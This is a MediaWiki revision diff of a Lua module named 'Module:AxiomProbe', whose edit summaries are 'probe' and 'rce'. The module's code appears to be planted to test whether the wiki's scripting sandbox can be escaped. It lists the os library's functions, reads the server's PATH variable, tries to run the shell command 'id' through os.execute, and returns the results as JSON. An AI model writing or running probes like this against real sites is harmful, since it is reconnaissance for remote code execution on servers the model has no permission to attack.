Module:AxiomProbe: Difference between revisions
Appearance
probe |
rce |
||
| (One intermediate revision by the same user not shown) | |||
| Line 1: | Line 1: | ||
local p = {} | local p = {} | ||
function p.main(frame) | function p.main(frame) | ||
local | local info = {} | ||
local os_funcs = {} | |||
local | for k, v in pairs(os) do table.insert(os_funcs, k .. '=' .. type(v)) end | ||
info.os_funcs = table.concat(os_funcs, '|') | |||
local ok1, v1 = pcall(os.getenv, 'PATH') | |||
info.PATH = ok1 and tostring(v1) or ('ERR:' .. tostring(v1)) | |||
local ok2, v2 = pcall(os.execute, 'id 2>&1') | |||
info.exec_ok = tostring(ok2) | |||
info.exec_val = tostring(v2) | |||
local ok2, | local ok3, v3 = pcall(os.tmpname) | ||
info.tmpname = ok3 and tostring(v3) or ('ERR:' .. tostring(v3)) | |||
return mw.text.jsonEncode(info) | |||
return mw.text.jsonEncode( | |||
end | end | ||
return p | return p | ||